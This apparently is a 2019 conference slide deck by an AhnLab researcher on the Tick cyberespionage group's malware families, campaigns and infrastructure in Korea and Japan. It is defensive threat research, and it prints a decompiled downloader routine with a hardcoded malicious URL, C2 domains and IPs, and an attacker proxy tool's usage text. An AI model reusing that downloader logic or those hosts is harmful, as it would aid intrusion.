Tick Tock – Activities of the Tick Group in East Asia

Trends of Tick Group Targeting Organizations and Corporations in Korea and Japan

CHA Minseok (Jacky Cha, 車珉錫)
Senior Principal Malware Researcher
AhnLab | ASEC | Analysis Research Team
HITB GSEC COMMSEC 2019 (August 29, 2019)

AhnLab
Contents

01  Tick Group
02  Stage 0 – Preparation for Attack
03  Stage 1 – Dropper, Downloader
04  Stage 2 – Backdoor, Stealer
05  Stage 3 – Internal Reconnaissance
06  Connections
07  Conclusion

AhnLab
01
Tick Group

AhnLab
Activity Threat Actors in South Korea

- Dllbot
- Xwdoor
- OP Black Minc (Bmdoor)
- OP Red Dot (Redobot, Escad)
- Hidden Cobra / Silent Chollima (Escad, Loader)
- Andriel / Labyrinth Chollima (Rifdoor, Ghosrat, Phandoor, Andarat)

Tick / Bald Knight / Bronze Butler / Nian / RedBaldknight

Tonto / CactusPete / LoneRanger / Karma Panda

Icefog

Kimsuky

RedEyes / APT37 / Reaper / Group 123 / Ricochet Chollima / ScarCruft

Sun Team

© AhnLab, Inc. All rights reserved.
Tick (Bronze Butler, RedBaldKnight) Group

- Tick cyberespionage group (2016)

Tick (Bronze Butler, RedBaldKnight) Group

• Tick == Bronze Butler == RedBald Knight == Nian

THREAT ANALYSIS

REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography

by Joey Chen and MingYen Hsieh (Threat Analysts)

REDBALDKNIGHT, also known as BRONZE BUTLER and Tick, is a cyberespionage group known to target Japanese organizations such as government agencies (including defense) as well as those in biotechnology, electronics manufacturing, and industrial chemistry. Their campaigns employ the Daserf backdoor (detected by Trend Micro as BKDR_DASERF, otherwise known as Muirim and Nioupale) that has four main capabilities: execute shell commands, download and upload data, take screenshots, and log keystrokes.

Tick Group

- Tick Group (Bald Knight, Bronze Butler, Nian, RedBaldKnight)
  - Since being named in 2016, their information has been disclosed by multiple security companies
  - Attacks on Korean and Japanese organizations and corporations since 2014 (related malware found in Korea since 2008)
  - Targets: Korean defense industry, national security and political organizations.
    Also corporations in the field of energy, electronics, security, web hosting, IT service, etc.

- Characteristics
  - Customized attacks for environments in Korea and Japan
  - Domain, used for C&C, is sometimes registered right before attack
  - Several Malware Generators exist
  - Multiple malware programs have been written in Delphi scripting language
  - Disrupts the decompiling of analysis tools (IDA Hex-Rays) by adding garbage code
  - Generates files larger than 50MB to bypass security programs
  - Often uses WinRAR Console program to leak internal information
### Cases of Major Attack

<table>
<thead>
<tr>
<th>Date</th>
<th>Target</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mar. 2014</td>
<td>Korea - Defense Industry</td>
<td>Attacked with Netboy variant;</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Multiple infections by the same variant reported in Korea</td>
</tr>
<tr>
<td>Jan. 2015</td>
<td>Korea - Major Company A</td>
<td>Attacked with Bisodown variant</td>
</tr>
<tr>
<td>Apr. 2015</td>
<td>Korea - ?</td>
<td>Modified the EXE file in the USB Memory</td>
</tr>
<tr>
<td>May 2015</td>
<td>Korea - Major Company B</td>
<td>Attacked with Netboy variant</td>
</tr>
<tr>
<td>Feb. 2016</td>
<td>Korea - Marine Industry</td>
<td>Attacked with Daserf variant;</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Identical with Daserf malware found at the Korean telecommunications</td>
</tr>
<tr>
<td>Jun. 2016</td>
<td>Korea - Telecommunications</td>
<td>Attacked with Daserf variant</td>
</tr>
<tr>
<td></td>
<td>Company</td>
<td></td>
</tr>
<tr>
<td>Sep. 2016</td>
<td>Korea - Energy Industry</td>
<td>Attacked with Datper variant</td>
</tr>
</tbody>
</table>
### Cases of Major Attack

<table>
<thead>
<tr>
<th>Date</th>
<th>Target</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apr. 2017</td>
<td>Korea - ?</td>
<td>Attacked via a Korean secure USB reported by Palo Alto Unit 42 in 2018</td>
</tr>
<tr>
<td>May 2018</td>
<td>Korea - Supposedly National Defense</td>
<td>Attacked with a variant of Bisodown With national defense documents shown as bait, national defense officials are assumed to have been the targets</td>
</tr>
<tr>
<td>May 2018</td>
<td>Korea - Political Organization</td>
<td></td>
</tr>
<tr>
<td>Aug. 2018</td>
<td>Korea - National Defense</td>
<td>Attacked with Bisodown variant; Variant found with Keylogger, named Linkinfo.dll, on the infected system</td>
</tr>
<tr>
<td>Sep. 2018</td>
<td>Korea - Political Organization</td>
<td></td>
</tr>
<tr>
<td>Jan. 2019</td>
<td>Korea - Information Security</td>
<td>Attacked with Datper variant reported by JPCERT in Feb. 2019</td>
</tr>
<tr>
<td>Jan. 2019</td>
<td>Korea - Web Hosting</td>
<td>Identical with the malware found at a Korean information security company in Jan. 2019</td>
</tr>
<tr>
<td>Feb. 2019</td>
<td>Korea - Electronic Components</td>
<td></td>
</tr>
<tr>
<td>Feb. 2019</td>
<td>Korea - IT Service</td>
<td>Attacked with Datper variant; Identical to the malware that attacked a Korean electronic component manufacturer in Feb. 2019</td>
</tr>
</tbody>
</table>
Stage 0 – Preparation for Attack
• Nforce 11-02 v1.0
  - Malicious PDF created
  - CheCheCheChe2010 Prototype
• NetBoy 1.21 (2011)
  - Builder/Controller
• Xxmm v1.0 (2014)
  - Filename: gh0st.exe
• NetShadow v1.0 (2015)
• xxmm2_steganography.exe (2015)
• xxxm2_build (2015)
• ShadowDawn (2016)
  - wali_build.exe, shadowDawn.exe
Controller - NetGhost

- NetGhost v2.1 & v.2.41 (2017)
  - Some Variants Protected with Password
03
Stage 1 – Dropper, Downloader

AhnLab
• Dropper
  - Disguised as Original Program ➔ Create Downloader
Bisodown (Cpycat, HomamDownloader)

- Discovered between April 2014 – Feb. 2019
- Downloader ➔ Used by Tonto Group
• GhostDown

- Discovered between Feb. 2013 – Feb. 2018

- Encrypted strings, such as API address, C&C degree etc. (Generally XOR 0xDF)
• Created Domain at Certain Websites

- dnsever etc.

* Source: DNSEver.com
• Gofarer

Once executed, the Trojan creates the following files:
- %Temp%\~DFDFA[RANDOM CHARACTERS FILE NAME].log
- %ProgramFiles%\Startup\Gofarer.EXE

The Trojan creates one of the following mutexes to make sure only one instance of itself is running:
- fe953017-2e96-4d52-aa5f-adf5144e4bbc
- e511fe20-e960-4b31-a8ab-20837720b0f7

Summary

Discovered: December
Updated: December
Type: Trojan
Infection Length: Var
Systems Affected: W

Next, the Trojan connects to the following remote locations:
- [http://www.aucsellers.com/images/notes/img/inde[REMOVED]]
- [http://www.aucsellers.com/rem/images/01/js/js/inde[REMOVED]]
- md5,db909c50b4f3263ef769028d9680a37f

• Gofarer

- Downloader

- Digital Signature Details: Does Heruida Electronic Technology Exist?

- Infection found Only in Japan

```c
CreateMutexA(0, 1, Name); // e511fe20-e960
if ( GetLastError() == 183 )
    return 0;
strcpy(&URL, "http://www.aucsellers.com/rim/images/01/js/js/infect.js");
v4 = time(0);
setRandom_401B80(v4);
GetModuleFileNameA(0, &Filename, 0x104u);
memset(&pszPath, 0, 0x104u);
result = SHGetSpecialFolderPathA(0, &pszPath, 7, 0);
if ( result )
{
    lstrcatA(&pszPath, String2); // \Gofarer.exe
    CopyFileA(&Filename, &pszPath, 1);
    while( 1 )
    {
        Download_4010F0((int)&URL);
        v5 = time(0);
        setRandom_401B80(v5);
        Sleep(1800000u);
    }
    return result;
}
```
04
Stage 2 – Backdoor, Stealer
Daserf (Muirim, Nioupale, Postbot)

- First discovered in 2009 (in Apr. 2011 in Korea)
- Mostly 30-40 KB (Some are 100 KB or more.) Versions exist in Delphi scripting language and C language
- Main functions: View file lists, execute commands with cmd.exe, Upload/Download/Delete/Execute/Uninstall files
- C&C information encrypted at the version information and the end of the file
Netboy (Domino, Invader, Kickesgo)

- Actively discovered after 2010; Initial version of DLL format discovered from Korea in 2008
- Written in Delphi language
- Encrypted major strings into XOR 0xC7
- Injected within the process, such as Explorer.exe
- Conduct functions including keylogging, screen capture, process list, and program execution
- Code change (2012) → Disrupter
Ninezero (9002)

- Discovered between 2012-2013
- Dropper 70 KB ➔ Backdoor DLL 33 KB
- Distinctive export function exists in the DLL file

<table>
<thead>
<tr>
<th>Ordinal</th>
<th>Function RVA</th>
<th>Name Ordinal</th>
<th>Name RVA</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>(nFunctions)</td>
<td>Dword</td>
<td>Word</td>
<td>Dword</td>
<td>szAnsi</td>
</tr>
<tr>
<td>00000001</td>
<td>00001820</td>
<td>0000</td>
<td>0000253F</td>
<td>InitFunc</td>
</tr>
<tr>
<td>00000002</td>
<td>00001800</td>
<td>0001</td>
<td>00002548</td>
<td>Launch</td>
</tr>
<tr>
<td>00000003</td>
<td>00001AD0</td>
<td>0002</td>
<td>0000254F</td>
<td>ServiceMain</td>
</tr>
</tbody>
</table>

- Netboy also found in some systems
• Xxmm (KVNDM, Minzen, Murim, ShadowWali, Wali, Wrim)

- First discovered in 2015, Actively used from 2016 (Initial version includes xmm string)
- Initial version include a distinctive PDB 'C:\Users\123\Desktop\shadowDoor\Release\loadSetup.pdb' -> Excluded after Dec. 2015
- Consists of a Dropper, Loader, and Backdoor
- Created files larger than 50 MB
- Encrypted communications via one-time AES and RC4 key, active only at specific times
Xxmm (KVNDM, Minzen, ShadowWali, Wali, Wrim)

- Xxmm

1. Drop
   - Dropper

2. Drop
   - Gaborage Data (over 50 MB)

3. Execute in the Memory

4. Check Time

5. Download
   - Downloader / Backdoor
   - Encrypted URL Data
   - Downloader / Backdoor
• Datper

- Discovered between 2015 – March 2019
- Written in Delphi scripting language
- Active in Korea and Japan
- Garbage values embedded in the middle of the code
- Keylogger, Mimikatz found in the infected systems
Keylogger A (2011)

- Discovered between April – May 2011
- File name: keyll.exe
- User input key content saved in c:\windows\log.txt
- Daserf found in the infected system
Keylogger B (2017~2018)

- Discovered between 2017–2018

- File name: apphelp.dll, k6.dll, linkinfo.dll etc (40-50 KB)

- Bisodown, Datper found in infected system
Keylogger C (2017~2018)

- Discovered between Apr. 2017 – Feb. 2018 ➔ Mainly found in the Tickusb-infected systems

- File name: linkinfo.dll, netutils.dll

- Key input contents saved at Log file
• Tickusb (SymonLoader)

- Found to be active from spring 2014 to Nov. 2017 (possibly even before Sep. 2012)
- First analysis disclosed by Unit42 in Jun. 2018
- Saved information leaked and data modified when USB Flash Drive was connected
- Some variants found in the Korean Secure USB Flash Drive ➔ Execute by reading data from specific area
  ➔ Execution code unchecked
- Modified EXE file and patched ALYAC25.EXE file within some modified USB Flash Drive

• Composition of Tickusb

- Consists of EXE file including the essential code for DLL, which acts as the Loader
- Main function of DLL (Loader): Executes Tickusb EXE when USB Flash Drive is connected, Downloads additional files
- Main functions of EXE file: Collects information within the USB Flash Drive, Infects EXE file, and Patches ALYAC25.EXE
- Modified EXE within a USB Flash Drive: Executes by creating Downloader or Tickusb variants
• Attacked using Korean Secure USB Flash Drive
  - Performs malware infection via variant-installing programs
  - Presumed to be an attempt to attack net isolation systems by using Korean Secure USB Drive

Tick Group Weaponized Secure USB Drives to Target Air-Gapped Critical Systems

By Kaoru Hayashi and Mike Harbison
June 22, 2018 at 1:00 PM
Category: Unit 42
Tags: Datper, HomamDownloader, Japan, Minzen, Niuopale, Republic of Korea, SymonLoader, Tick

* Source: https://unit42.paloaltonetworks.com/unit42-tick-group-weaponized-secure-usb-drives-target-air-gapped-critical-systems/
• Flowchart of Tickusb

Stage 1

1. Drop? Download?

Stage 2

2. Patch

3. Load & Execute

4. Create a log file

5. Inserted USB Flash Drive?

Stage 3

6. Execute

7. Search files

8. Modify EXE files

9. Download

Tickusb EXE

Downloader

msupdate.exe

Create a log file

Tickusb DLL

Download

Drop

EXE

Stage 1

Downloader

Stage 2

Legitimate EXE

Modified EXE

iff.exe

Stage 3

ARP Spoof

Keylogger

Mimikatz

Port Scanner
05
Stage 3 – Internal Reconnaissance

AhnLab
• Anti 1.03
  - AntiAV
• Hijack v2.0
  - Disguised as Hancom file (C:\HNC\Hwp70\hwp70.exe)
  - Arpspoof function

![Command Prompt](image)
Credential dumping - WCE

- WCE (Windows Credentials Editor)
  - File signed with Heruida Electronic credential found (2016)
Credential dumping - Mimikatz

• Mimikatz

- mi.exe, mi2.exe, m3.exe, m32.exe
NetTool (1,051,648 ~ 4,168,192 bytes)

- Initially discovered in early September, 2018
- Major file names: comhost.exe, conh0st.exe, dllh0st.exe, dt.tmp, spoolsv.exe, taskh0st.exe, w3wp.exe
- 0.10 alpha: 32 bit, 1.34: 64 bit

```
c:\work>taskh0st.exe --help
Usage of taskh0st.exe:
  -action string
    for client control server, if is addr like 127.0.0.1:22, remote is
    udp: 1, route is for transpa
  -auth string
    key for auth
  -cache
    (valid in socks5 mode) if client addr is localhost, it
    hod into cache/ dir, cache request
  -debug int
    more output log
  -r
    reverse mode, if true, client 's "local" address will be listened on
  -server side
    -ruten int
      c: reverse mode, if true, client's "local" address will be listened on
      server side
    -ruten int
      c: threads(os-threads) num for route mode to parse real-addr (default 1)
    -service string
      c: listen addr for client connect
    -session_timeout int
      c: if > 0, session will check itself, if it's alive, if no msg tranfer for
      some seconds, socket will be closed, use this to avoid of zombie tcp sockets
    -smartN int
      c: if > 0, smart mode open(just for socks5 or route mode), it means how many
      requests of the same url at least are needed for sys to decide whether request
      going locally or remotely
    -src
      c: whether logging src ip, just for tcp redirection
    -tcp
      c: use tcp to replace udp
    -timeout int
      c: use tcp to replace udp
      c: udp pipe set timeout(seconds) (default 100)
      c: verbose mode
      c: show version
      c: xor key, c/s must use a some key
```
06
Connections

AhnLab
Connections

Gofarer

Signed by Heruida Electronic Technology

wce.exe

mimikatz (mi.exe, m3.exe)

Similar Builders

Ghostdown

Bisodown

Daserf
Netboy
Ninezero

same Encoding

Daserf
Xxmm

Download

softi.co.kr

Daserf
Netboy
Ghostdown

C&C

Datper
Emdivi

campaign “Blue termite”

Bisonal

Tick

Bisodown
Connections

• Correlations with C2

  - amamihanahana.com : Xxmm, Datper
  - 211.13.196.164 : Datper, Emdivi (campaign Blue termite)

---

THURSDAY, OCTOBER 18, 2018

Tracking Tick Through Recent Campaigns Targeting East Asia

This blog post is authored by Ashlee Benge and Jungsoo An, with contributions from Dazhuo Li.

Summary

Since 2016, an advanced threat group that Cisco Talos is tracking has carried out cyberattacks against South Korea and Japan. This group is known by several different names: Tick, Redbaldknight and Bronze Butler.

Although each campaign employed custom tools, Talos has observed recurring patterns in the actor’s use of infrastructure, from overlaps in hijacked command and control (C2) domains to differing campaign C2s resolving to the same IP. These infrastructure patterns indicate similarities between the Datper, xxmm backdoor, and Emdivi malware families. In this post, we will dive into these parallels and examine the methods used by this actor.

* Source: https://blog.talosintelligence.com/2018/10/tracking-tick-through-recent-campaigns.html
Conclusion
• the Tick Group is a threat actor that has been active in Korea and Japan for the past 10 years!

• Question 1. Are they the same group?
  - Existence of Malware Builder
  - Same code reused

• Question 2. Connection to Tonto Team
  - Some malware are simultaneously used
  - Some infrastructures, such as C&C, are shared
  - What is the connection between these Groups? - Collaboration? Same Group? Coincidence?

• Necessity of Collaboration
  - Collaboration required between the researchers of Korea and Japan, who are experiencing similar active attacks
Thank you!

CHA Minseok (Jacky)

minseok.cha@ahnlab.com

mstoned7@gmail.com

@mstoned7
More security, More freedom